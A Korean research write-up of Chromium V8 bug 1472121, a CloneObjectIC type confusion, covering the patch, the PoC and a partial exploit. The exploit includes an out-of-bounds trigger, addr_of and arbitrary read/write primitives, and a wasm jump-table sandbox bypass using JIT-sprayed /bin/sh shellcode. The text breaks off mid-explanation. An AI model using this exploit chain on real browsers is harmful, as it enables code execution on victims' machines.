본문 바로가기

Research/Browser

Issue-1472121 : Exploit out-of-bound CloneObjectIC type confusion

Environment Setting

Install depot_tools

cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH

Get V8 source code

mkdir v8
cd v8
fetch v8
cd v8
git checkout 25b1011e80f
gclient sync -D

Install build dependencies

./build/install-build-deps.sh

Build V8

gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false v8_expose_memory_corruption_api=true"
gn gen out/release --args="v8_no_inline=true is_debug=false v8_expose_memory_corruption_api=true"
ninja -C out/debug d8; ninja -C out/release d8

Install GDB plugin

echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit

Introduction

117.0.5938.11에서 동작하며 CloneObjectIC type confusion를 가지고 v8CTF 버그 바운티에 성공한 케이스로 oob에서 exploit까지 작성한 내용입니다.

Prerequisite Knowledge

In-object property

In-object property는 object 자체에 데이터를 저장함으로 주소 포인터를 전환하지 않으므로 가장 빠른 접근을 제공합니다.

const obj = {};
obj.a = 1;
% DebugPrint(obj);

In-object는 object의 초기 크기에 따라 미리 결정되며, 초기 크기보다 더 많은 프로퍼티가 추가되면 properties에 저장됩니다.

const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
% DebugPrint(obj);
DebugPrint: 0x201f001cc715: [JS_OBJECT_TYPE]
 - map: 0x201f000db28d <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x201f000c4b79 <Object map = 0x201f000c41b5>
 - elements: 0x201f00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x201f00000219 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x201f00002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x201f00002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x201f00002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x201f00002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
 }
const obj = {};
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
% DebugPrint(obj);
DebugPrint: 0x12f4001cc721: [JS_OBJECT_TYPE]
 - map: 0x12f4000db2c9 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x12f4000c4b79 <Object map = 0x12f4000c41b5>
 - elements: 0x12f400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x12f4001cc841 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x12f400002a49: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
    0x12f400002a59: [String] in ReadOnlySpace: #b: 2 (const data field 1), location: in-object
    0x12f400002a69: [String] in ReadOnlySpace: #c: 3 (const data field 2), location: in-object
    0x12f400002a79: [String] in ReadOnlySpace: #d: 4 (const data field 3), location: in-object
    0x12f400002a89: [String] in ReadOnlySpace: #e: 5 (const data field 4), location: properties[0]
 }

InlineCache(IC)

Javascript에서 object에 접근하는 작업은 자주 일어나며, 이 속도를 최적화시키는 것은 성능에 큰 영향을 주게 됩니다. 그래서 object -> map -> property index -> property[index] 접근 과정을 거치게 됩니다.

Object에 자주 접근하게 되면(10번 이상) Inline Cache가 발생하게 되며 object의 map과 접근하는 property cache를 비교하여 같은지 확인하며 Inline Cache가 생성되게 됩니다.

Analysis

Patch diff

패치된 내용을 살펴보면 기존 object의 In-object property의 개수가 CloneObjectSlowPath로 생성된 object의 In-object property 수보다 많다면 Inline Cache를 생성하지 않습니다.

--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -3190,12 +3190,18 @@ bool CanFastCloneObjectWithDifferentMaps(Handle<Map> source_map,
   // the same binary layout.
   if (source_map->instance_type() != JS_OBJECT_TYPE ||
       target_map->instance_type() != JS_OBJECT_TYPE ||
-      source_map->instance_size() < target_map->instance_size() ||
       !source_map->OnlyHasSimpleProperties() ||
       !target_map->OnlyHasSimpleProperties()) {
     return false;
   }
-  if (target_map->instance_size() > source_map->instance_size()) {
+  // Check that the source inobject properties are big enough to initialize all
+  // target slots, but not too big to fit.
+  int source_inobj_properties = source_map->GetInObjectProperties();
+  int target_inobj_properties = target_map->GetInObjectProperties();
+  int source_used_inobj_properties =
+      source_inobj_properties - source_map->UnusedPropertyFields();
+  if (source_inobj_properties < target_inobj_properties ||
+      source_used_inobj_properties > target_inobj_properties) {
     return false;
   }
   // TODO(olivf, chrome:1204540) The clone ic blindly copies the bytes from
@@ -3314,6 +3320,11 @@ RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
             if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                                     isolate)) {
               DCHECK(result_map->OnlyHasSimpleProperties());
+              DCHECK_LE(source_map->GetInObjectProperties() -
+                            source_map->UnusedInObjectProperties(),
+                        result_map->GetInObjectProperties());
+              DCHECK_GE(source_map->GetInObjectProperties(),
+                        result_map->GetInObjectProperties());
               nexus.ConfigureCloneObject(source_map,
                                          MaybeObjectHandle(result_map));
             } else {

PoC

//  test/mjsunit/regress/regress-crbug-1472121.js

let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;

function throwaway() {
  return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    throwaway();

for (let key in a) a[key] = {};

function func() {
    return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    corrupted = func();

 

PoC를 살펴보면 throwaway함수를 반복시켜 Inline Cache를 생성하게 됩니다. 이 과정에서 protonull인 새로운 객체가 생성되게 되며 object 복사가 이루어집니다.

(Inline Cache가 생성되지 않은 상태) 처음 throwaway함수가 실행되면 Builtin::kCloneObjectIC 함수를 호출하고 Builtin::kCloneObjectIC_Slow 함수를 통해 객체가 복사됩니다.

// src/interpreter/interpreter-generator.cc

IGNITION_HANDLER(CloneObject, InterpreterAssembler) {
  TNode<Object> source = LoadRegisterAtOperandIndex(0);
  TNode<Uint32T> bytecode_flags = BytecodeOperandFlag8(1);
  TNode<UintPtrT> raw_flags =
      DecodeWordFromWord32<CreateObjectLiteralFlags::FlagsBits>(bytecode_flags);
  TNode<Smi> smi_flags = SmiTag(Signed(raw_flags));
  TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(2);
  TNode<HeapObject> maybe_feedback_vector = LoadFeedbackVector();
  TNode<Context> context = GetContext();

  TNode<Object> result = CallBuiltin(Builtin::kCloneObjectIC, context, source,
                                     smi_flags, slot, maybe_feedback_vector);
  SetAccumulator(result);
  Dispatch();
}
// src/ic/accessor-assembler.cc

void AccessorAssembler::GenerateCloneObjectIC() {
  using Descriptor = CloneObjectWithVectorDescriptor;
  auto source = Parameter<Object>(Descriptor::kSource);
  auto flags = Parameter<Smi>(Descriptor::kFlags);
  auto slot = Parameter<TaggedIndex>(Descriptor::kSlot);
  auto maybe_vector = Parameter<HeapObject>(Descriptor::kVector);
  auto context = Parameter<Context>(Descriptor::kContext);
  TVARIABLE(Map, result_map);
  Label if_result_map(this, &result_map), if_empty_object(this),
      miss(this, Label::kDeferred), try_polymorphic(this, Label::kDeferred),
      try_megamorphic(this, Label::kDeferred), slow(this, Label::kDeferred);

  ...

  BIND(&slow);
  {
    TailCallBuiltin(Builtin::kCloneObjectIC_Slow, context, source, flags, slot,
                    maybe_vector);
  }

  ...

  BIND(&miss);
  {
    Comment("CloneObjectIC_miss");
    TNode<HeapObject> map_or_result =
        CAST(CallRuntime(Runtime::kCloneObjectIC_Miss, context, source, flags,
                         slot, maybe_vector));
    Label restart(this);
    GotoIf(IsMap(map_or_result), &restart);
    CSA_DCHECK(this, IsJSObject(map_or_result));
    Return(map_or_result);

    BIND(&restart);
    result_map = CAST(map_or_result);
    Goto(&if_result_map);
  }
}

 

반복적으로 함수를 호출하면 IC handler 등록을 위해 Builtin::kCloneObjectIC 함수는 Runtime::kCloneObjectIC_Miss를 호출합니다. Runtime::kCloneObjectIC_Miss에서 새로 복사된 객체의 proto: null이면 기존 map과 다르기 때문에 FastCloneObjectMode::kDifferentMap이며, CloneObjectSlowPath로 객체를 복사하게 됩니다.

// src/ic/ic.cc

RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  HandleScope scope(isolate);
  DCHECK_EQ(4, args.length());
  Handle<Object> source = args.at(0);
  int flags = args.smi_value_at(1);

  if (!MigrateDeprecated(isolate, source)) {
    Handle<HeapObject> maybe_vector = args.at<HeapObject>(3);
    if (IsFeedbackVector(*maybe_vector)) {
      int index = args.tagged_index_value_at(2);
      FeedbackSlot slot = FeedbackVector::ToSlot(index);
      FeedbackNexus nexus(Handle<FeedbackVector>::cast(maybe_vector), slot);
      if (!IsSmi(*source) && !nexus.IsMegamorphic()) {
        Handle<Map> source_map(Handle<HeapObject>::cast(source)->map(),
                               isolate);
        FastCloneObjectMode clone_mode =
            GetCloneModeForMap(source_map, flags, isolate);
        switch (clone_mode) {
          case FastCloneObjectMode::kIdenticalMap: {
            nexus.ConfigureCloneObject(source_map,
                                       MaybeObjectHandle(source_map));
            // When returning a map the IC miss handler re-starts from the top.
            return *source_map;
          }
          case FastCloneObjectMode::kEmptyObject: {
            nexus.ConfigureCloneObject(source_map,
                                       MaybeObjectHandle(Smi(0), isolate));
            RETURN_RESULT_OR_FAILURE(
                isolate, CloneObjectSlowPath(isolate, source, flags));
          }
          case FastCloneObjectMode::kDifferentMap: {
            Handle<Object> res;
            ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
                isolate, res, CloneObjectSlowPath(isolate, source, flags));
            Handle<Map> result_map(Handle<HeapObject>::cast(res)->map(),
                                   isolate);
            if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                                    isolate)) {
              DCHECK(result_map->OnlyHasSimpleProperties());
              nexus.ConfigureCloneObject(source_map,
                                         MaybeObjectHandle(result_map));
            } else {
              nexus.ConfigureMegamorphic();
            }
            return *res;
          }
          case FastCloneObjectMode::kNotSupported: {
            break;
          }
        }
        DCHECK(clone_mode == FastCloneObjectMode::kNotSupported);
        nexus.ConfigureMegamorphic();
      }
    }
  }

  RETURN_RESULT_OR_FAILURE(isolate,
                           CloneObjectSlowPath(isolate, source, flags));
}

 

CloneObjectSlowPath 함수는 먼저 새로운 proto를 가진 객체를 생성하고 JSReceiver::SetOrCopyDataProperties 함수를 통해 property들을 복사해서 가져옵니다.

static MaybeHandle<JSObject> CloneObjectSlowPath(Isolate* isolate,
                                                 Handle<Object> source,
                                                 int flags) {
  Handle<JSObject> new_object;
  if (flags & ObjectLiteral::kHasNullPrototype) {
    new_object = isolate->factory()->NewJSObjectWithNullProto();
  } else if (IsJSObject(*source) &&
             JSObject::cast(*source)->map()->OnlyHasSimpleProperties()) {
    Map source_map = JSObject::cast(*source)->map();
    // TODO(olivf, chrome:1204540) It might be interesting to pick a map with
    // more properties, depending how many properties are added by the
    // surrounding literal.
    int properties = source_map->GetInObjectProperties() -
                     source_map->UnusedInObjectProperties();
    Handle<Map> map = isolate->factory()->ObjectLiteralMapFromCache(
        isolate->native_context(), properties);
    new_object = isolate->factory()->NewFastOrSlowJSObjectFromMap(map);
  } else {
    Handle<JSFunction> constructor(isolate->native_context()->object_function(),
                                   isolate);
    new_object = isolate->factory()->NewJSObject(constructor);
  }

  if (IsNullOrUndefined(*source)) {
    return new_object;
  }

  MAYBE_RETURN(
      JSReceiver::SetOrCopyDataProperties(
          isolate, new_object, source,
          PropertiesEnumerationMode::kPropertyAdditionOrder, nullptr, false),
      MaybeHandle<JSObject>());
  return new_object;
}

 

복사를 마친 뒤 Runtime_CloneObjectIC_Miss에서 기존 object와 map을 비교(CanFastCloneObjectWithDifferentMaps)하고 두 map이 호환 가능하다면 Inline Cachesource_mapresult_map을 등록(nexus.ConfigureCloneObject)하게 됩니다.

앞으로 복사가 이루어질 때 속도 향상을 위해 result_map을 사용하게 됩니다.

// src/ic/ic.cc

RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
  ...
            if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
                                                    isolate)) {
              DCHECK(result_map->OnlyHasSimpleProperties());
              nexus.ConfigureCloneObject(source_map,
                                         MaybeObjectHandle(result_map));
            } 
   ...
}

 

Object가 Inline Cache에 등록된 이후에 cloneObject를 호출하면 Inline Cache에 등록된 result_map을 기준의 크기를 가진 새로운 객체를 생성하게 됩니다.

// src/ic/accessor-assembler.cc

void AccessorAssembler::GenerateCloneObjectIC() {
    ...
             TNode<JSObject> object = UncheckedCast<JSObject>(AllocateJSObjectFromMap(
          result_map.value(), var_properties.value(), var_elements.value(),
          AllocationFlag::kNone,
          SlackTrackingMode::kDontInitializeInObjectProperties));
    ...
}

 

결과적으로 객체를 복사하면서 result_map을 가지게 됩니다. 하지만 CloneObjectSlowPath는 객체를 먼저 생성하고 값을 복사하기 때문에 object의 in-object 크기가 가장 작게 설정됩니다. 때문에 CloneObjectSlowPath에 의해 처리된 함수 중 더 많은 수의 In-object를 가지고 있게 되면 type confusion이 발생합니다.

쉽게 설명하자면 기존 property의 map은 in-object property가 9개 properties 1개를 보유합니다.

let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;

% DebugPrint(a);
DebugPrint: 0xdee0024cfcd: [JS_OBJECT_TYPE]
 - map: 0x0dee0015bb59 <Map[48](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0dee00144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - elements: 0x0dee00000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0dee0024d2b5 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0xdee0015b7c1: [String] in OldSpace: #p0: 1 (const data field 0), location: in-object
    0xdee0015b7d1: [String] in OldSpace: #p1: 1 (const data field 1), location: in-object
    0xdee0015b7e1: [String] in OldSpace: #p2: 1 (const data field 2), location: in-object
    0xdee0015b7f1: [String] in OldSpace: #p3: 1 (const data field 3), location: in-object
    0xdee0015b801: [String] in OldSpace: #p4: 1 (const data field 4), location: in-object
    0xdee0015b811: [String] in OldSpace: #p5: 1 (const data field 5), location: in-object
    0xdee0015b821: [String] in OldSpace: #p6: 1 (const data field 6), location: in-object
    0xdee0015b831: [String] in OldSpace: #p7: 1 (const data field 7), location: in-object
    0xdee0015b841: [String] in OldSpace: #p8: 1 (const data field 8), location: in-object
    0xdee0015b851: [String] in OldSpace: #p9: 1 (const data field 9), location: properties[0]
 }
0xdee0015bb59: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 48
 - inobject properties: 9
 - unused property fields: 2
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x0dee0015bb31 <Map[48](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x0dee0015bb81 <Cell value= 0>
 - instance descriptors (own) #10: 0x0dee0024d22d <DescriptorArray[10]>
 - prototype: 0x0dee00144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - constructor: 0x0dee001445d9 <JSFunction Object (sfi = 0xdee00451695)>
 - dependent code: 0x0dee00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

 

새로운 객체를 생성하고 property를 추가하면 in-object의 최솟값인 4개와 6개의 properties가 생성됩니다. Inline Cache를 거치면서 이 2개의 map이 type confusion 되며 취약점이 발생하게 됩니다.

let a = {};
a.p0 = 1;
a.p1 = 1;
a.p2 = 1;
a.p3 = 1;
a.p4 = 1;
a.p5 = 1;
a.p6 = 1;
a.p7 = 1;
a.p8 = 1;
a.p9 = 1;

% DebugPrint(a);
DebugPrint: 0x34080024d229: [JS_OBJECT_TYPE]
 - map: 0x34080015be09 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x340800144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - elements: 0x340800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x34080024d489 <PropertyArray[6]>
 - All own properties (excluding elements): {
    0x34080015b7c1: [String] in OldSpace: #p0: 1 (const data field 0), location: in-object
    0x34080015b7d1: [String] in OldSpace: #p1: 1 (const data field 1), location: in-object
    0x34080015b7e1: [String] in OldSpace: #p2: 1 (const data field 2), location: in-object
    0x34080015b7f1: [String] in OldSpace: #p3: 1 (const data field 3), location: in-object
    0x34080015b801: [String] in OldSpace: #p4: 1 (const data field 4), location: properties[0]
    0x34080015b811: [String] in OldSpace: #p5: 1 (const data field 5), location: properties[1]
    0x34080015b821: [String] in OldSpace: #p6: 1 (const data field 6), location: properties[2]
    0x34080015b831: [String] in OldSpace: #p7: 1 (const data field 7), location: properties[3]
    0x34080015b841: [String] in OldSpace: #p8: 1 (const data field 8), location: properties[4]
    0x34080015b851: [String] in OldSpace: #p9: 1 (const data field 9), location: properties[5]
 }
0x34080015be09: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x34080015bde1 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x34080015bcc1 <Cell value= 0>
 - instance descriptors (own) #10: 0x34080024d4a9 <DescriptorArray[10]>
 - prototype: 0x340800144a95 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - constructor: 0x3408001445d9 <JSFunction Object (sfi = 0x340800451695)>
 - dependent code: 0x340800000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

 

Inline Cache에서 생성되는 result_map을 출력해 보면 in-object 4개인 map을 확인할 수 있습니다.

[+] result_map -> 0x5f70015c2dd

0x5f70015c2dd: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x05f70015c2b5 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x05f700000add <Cell value= 1>
 - instance descriptors (own) #10: 0x05f70024dc5d <DescriptorArray[10]>
 - prototype: 0x05f700000235 <null>
 - constructor: 0x05f7001445d9 <JSFunction Object (sfi = 0x5f700451695)>
 - dependent code: 0x05f700000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

 

그러므로 PoC에서 생성된 corrupted는 in-object 4개 properties 6개라는 map이 만들어지지만 실제로 CloneObjectSlowPath에 의해 복사된 값은 in-object 4개, properties 3개(기존 1개 + undefined 2개)가 생성됩니다. 그러므로 properties [3~5]oob가 발생하게 됩니다.

// test/mjsunit/regress/regress-crbug-1472121.js

let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;

function throwaway() {
  return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    throwaway();

for (let key in a) a[key] = {};

function func() {
    return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    corrupted = func();
DebugPrint: 0x37210025090d: [JS_OBJECT_TYPE]
 - map: 0x37210015c2a5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x372100000235 <null>
 - elements: 0x372100000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x3721002508f9 <PropertyArray[3]>
 - All own properties (excluding elements): {
    0x37210015b7c1: [String] in OldSpace: #p0: 0x37210024f435 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 0), location: in-object
    0x37210015b7d1: [String] in OldSpace: #p1: 0x37210024f461 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 1), location: in-object
    0x37210015b7e1: [String] in OldSpace: #p2: 0x37210024f47d !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 2), location: in-object
    0x37210015b7f1: [String] in OldSpace: #p3: 0x37210024f499 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 3), location: in-object
    0x37210015b801: [String] in OldSpace: #p4: 0x37210024f541 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject> (const data field 4), location: properties[0]
    0x37210015b811: [String] in OldSpace: #p5: 0x372100000251 <undefined> (const data field 5), location: properties[1]
    0x37210015b821: [String] in OldSpace: #p6: 0x372100000251 <undefined> (const data field 6), location: properties[2]
    0x37210015b831: [String] in OldSpace: #p7: 0x37210015c2a5 <Map[28](HOLEY_ELEMENTS)> (const data field 7), location: properties[3]
    0x37210015b841: [String] in OldSpace: #p8: 0x3721002508f9 <PropertyArray[3]> (const data field 8), location: properties[4]
    0x37210015b851: [String] in OldSpace: #p9: 0x372100000219 <FixedArray[0]> (const data field 9), location: properties[5]
 }
0x37210015c2a5: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x37210015c27d <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x372100000add <Cell value= 1>
 - instance descriptors (own) #10: 0x37210024dbc5 <DescriptorArray[10]>
 - prototype: 0x372100000235 <null>
 - constructor: 0x3721001445d9 <JSFunction Object (sfi = 0x372100451695)>
 - dependent code: 0x372100000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Exploit

oob(out-of-bound)

// test/mjsunit/regress/regress-crbug-1472121.js

let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
a.p9 = 1;

function throwaway() {
  return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    throwaway();

for (let key in a) a[key] = {};

function func() {
    return {...a, __proto__: null};
}
for (let j = 0; j < 100; ++j)  // IC
    corrupted = func();

 

corrupted 메모리 구조를 살펴보면 아래와 같습니다.

# corrupted properties memory map
0x000009ed(properites_map)       0x00000006(properties_len)      
0x0024f541(properties[0] "p4")   0x00000251(properties[1] "p5")
0x00000251(properties[2] "p6")   0x0015c2a5(corrupted_map "p7")
0x002508f9(properties "p8")      0x00000219(elements "p9")
0x0024f435(in-object "p0")       0x0024f461(in-object "p1")
0x0024f47d(in-object "p2")       0x0024f499(in-object "p3")

 

corrupted.p9에 값을 넣으면 corruptedelements가 변경됩니다.

corrupted.p9 = [1.1];
# corrupted properties memory map
0x000009ed(properites_map)     0x00000006(properties_len)      
0x0024f541(properties[0] "p4")   0x00000251(properties[1] "p5")
0x00000251(properties[2] "p6")   0x0015c2a5(corrupted_map "p7")
0x002508f9(properties "p8")      0x0025093a(elements "p9") # arr [1.1]
0x0024f435(in-object "p0")       0x0024f461(in-object "p1")
0x0024f47d(in-object "p2")       0x0024f499(in-object "p3")

# arr [1.1] memory map
0x0014ed79(map)                          0x00000219(properties)      
0x0025097d(elements "corrupted[0]")      0x00000002(len "corrupted[1]")

이제 corrupted [1]을 조작해 corrupted.p9 = [1.1]; 의 길이 조작이 가능해 oob가 발생하게 됩니다.

function trigger() { 

    let a = {p0: 1, p1: 1, p2: 1, p3: 1, p4: 1, p5: 1, p6: 1, p7: 1, p8: 1};
    a.p9 = 1;

    function throwaway() {
    return {...a, __proto__: null};
    }

    for (let j = 0; j < 100; ++j) throwaway(); // IC

    for (let key in a) a[key] = {};

    function func() {
        return {...a, __proto__: null};
    }

    for (let j = 0; j < 100; ++j) corrupted = func(); // IC

    corrupted.p9 = [1.1];
    corrupted[1] = 0x100; // overwrite the length of corrupted.p9

    let arr1 = [1.1, 2.2, 3.3, 4.4];
    let arr2 = [0x1337, large_arr];
    let arr3 = [arr1];

    return [corrupted.p9, arr1, arr2, arr3];
}

addr_of, aar, aaw

oob를 이용해서 aadr_of, aar, aaw를 구성할 수 있습니다.

leak = trigger();
oob_obj = leak[0];
fake_obj = leak[1];
addr_obj = leak[3];

function addr_of(obj) {
    addr_obj[0] = obj;
    return ftoi(oob_obj[26])[1];
}

function aar(addr) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    let result = ftoi(fake_obj[0]);
    return result;
}

function aaw(addr, lo, hi) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    fake_obj[0] = itof(lo, hi);
}

function aaw64(addr, val) {
    addr |= 1;
    addr -= FIXED_ARRAY_HEADER_SIZE;
    oob_obj[7] = itof(addr, smi(1));

    fake_obj[0] = itof64(val);
}

V8 Heap Sandbox Bypass

Compress pointer이면서 실행 가능한 메모리 주소 공간인 wasm function의 최적화된 code table 영역의 IP를 변조하여 코드를 실행하겠습니다.

우선 wasm functionjump_table_start에 시작점이 기록되어 있으며 jump table을 통해 접근하게 됩니다.

DebugPrint: 0x33920015c025: [WasmInstanceObject] in OldSpace
 - map: 0x33920015a3b5 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33920024b0e5 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - elements: 0x339200000219 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x33920024dc79 <Module map = 0x339200159f59>
 - exports_object: 0x33920024dd4d !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - native_context: 0x339200143c0d <NativeContext[281]>
 - memory_objects: 0x339200000219 <FixedArray[0]>
 - tables: 0x339200000219 <FixedArray[0]>
 - indirect_function_tables: 0x339200000219 <FixedArray[0]>
 - imported_function_refs: 0x339200000219 <FixedArray[0]>
 - indirect_function_table_refs: 0x339200000219 <FixedArray[0]>
 - wasm_internal_functions: 0x33920024dd29 <FixedArray[1]>
 - managed_object_maps: 0x339200000219 <FixedArray[0]>
 - feedback_vectors: 0x339200000219 <FixedArray[0]>
 - well_known_imports: 0x339200000219 <FixedArray[0]>
 - memory0_start: 0x3491ffffffff
 - memory0_size: 0
 - stack_limit_address: 0x55cf899abbe0
 - real_stack_limit_address: 0x55cf899abbd0
 - new_allocation_limit_address: 0x55cf899abc90
 - new_allocation_top_address: 0x55cf899abc88
 - old_allocation_limit_address: 0x55cf899abca8
 - old_allocation_top_address: 0x55cf899abca0
 - imported_function_targets: 0x339200000f59 <ByteArray[0]>
 - globals_start: 0x3491ffffffff
 - imported_mutable_globals: 0x339200000f59 <ByteArray[0]>
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: 0x339200000f59 <ByteArray[0]>
 - indirect_function_table_targets: 0x3392000062b5 <ExternalPointerArray[0]>
 - isorecursive_canonical_types: 0x55cf89a2f320
 - jump_table_start: 0xe6e6bda000
 - data_segment_starts: 0x339200000f59 <ByteArray[0]>
 - data_segment_sizes: 0x339200000f59 <ByteArray[0]>
 - element_segments: 0x339200000219 <FixedArray[0]>
 - hook_on_function_call_address: 0x55cf899cbb19
 - tiering_budget_array: 0x55cf89a10c50
 - memory_bases_and_sizes: 0x339200000f59 <ByteArray[0]>
 - break_on_entry: 0
 - properties: 0x339200000219 <FixedArray[0]>
 - All own properties (excluding elements): {}

0x33920015a3b5: [Map] in OldSpace
 - type: WASM_INSTANCE_OBJECT_TYPE
 - instance size: 224
 - inobject properties: 0
 - unused property fields: 0
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - back pointer: 0x339200000251 <undefined>
 - prototype_validity cell: 0x339200000add <Cell value= 1>
 - instance descriptors (own) #0: 0x339200000285 <DescriptorArray[0]>
 - prototype: 0x33920024b0e5 !!!INVALID SHARED ON CONSTRUCTOR!!!<JSObject>
 - constructor: 0x33920015a299 <JSFunction Instance (sfi = 0x33920015a26d)>
 - dependent code: 0x339200000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

gef➤  x/i 0xe6e6bda000
   0xe6e6bda000:        jmp    0xe6e6bda700

gef➤  vmmap 0xe6e6bda000
Start              End                Offset             Perm Path
0x000000e6e6bda000 0x000000e6e6bdb000 0x0000000000000000 rwx

단순 double을 입력하는 함수를 최적화하게 되면 고정 값으로 데이터가 최적화됩니다.

gef➤  x/50i 0xe6e6bda700
   0xe6e6bda700:        push   rbp
   0xe6e6bda701:        mov    rbp,rsp
   0xe6e6bda704:        push   0x8
   0xe6e6bda706:        push   rsi
   0xe6e6bda707:        sub    rsp,0x10
   0xe6e6bda70e:        mov    rax,QWORD PTR [rsi+0x37]
   0xe6e6bda712:        cmp    rsp,QWORD PTR [rax]
   0xe6e6bda715:        jbe    0xe6e6bda7c8
   0xe6e6bda71b:        movabs r10,0x7eb900068732fb8
   0xe6e6bda725:        vmovq  xmm0,r10
   0xe6e6bda72a:        movabs r10,0x7eb909020e0c148
   0xe6e6bda734:        vmovq  xmm1,r10
   0xe6e6bda739:        movabs r10,0x7eb906e69622fbb
   0xe6e6bda743:        vmovq  xmm2,r10
   0xe6e6bda748:        movabs r10,0x7eb909050d80148
   0xe6e6bda752:        vmovq  xmm3,r10
   0xe6e6bda757:        movabs r10,0x7ebf63148e78948
   0xe6e6bda761:        vmovq  xmm4,r10
   0xe6e6bda766:        movabs r10,0x7ebc03148d23148
   0xe6e6bda770:        vmovq  xmm5,r10
   0xe6e6bda775:        movabs r10,0x90909090050f3bb0
   0xe6e6bda77f:        vmovq  xmm6,r10
   0xe6e6bda784:        mov    r10,QWORD PTR [rsi+0x87]
   0xe6e6bda78b:        sub    DWORD PTR [r10],0x84

이 점을 이용해 wasm functionip를 고정 값으로 입력한 값의 시작점으로 변경하여 exploit 하겠습니다.

우선 쉘코드가 포함된 wasm funciton을 최적화해줍니다.

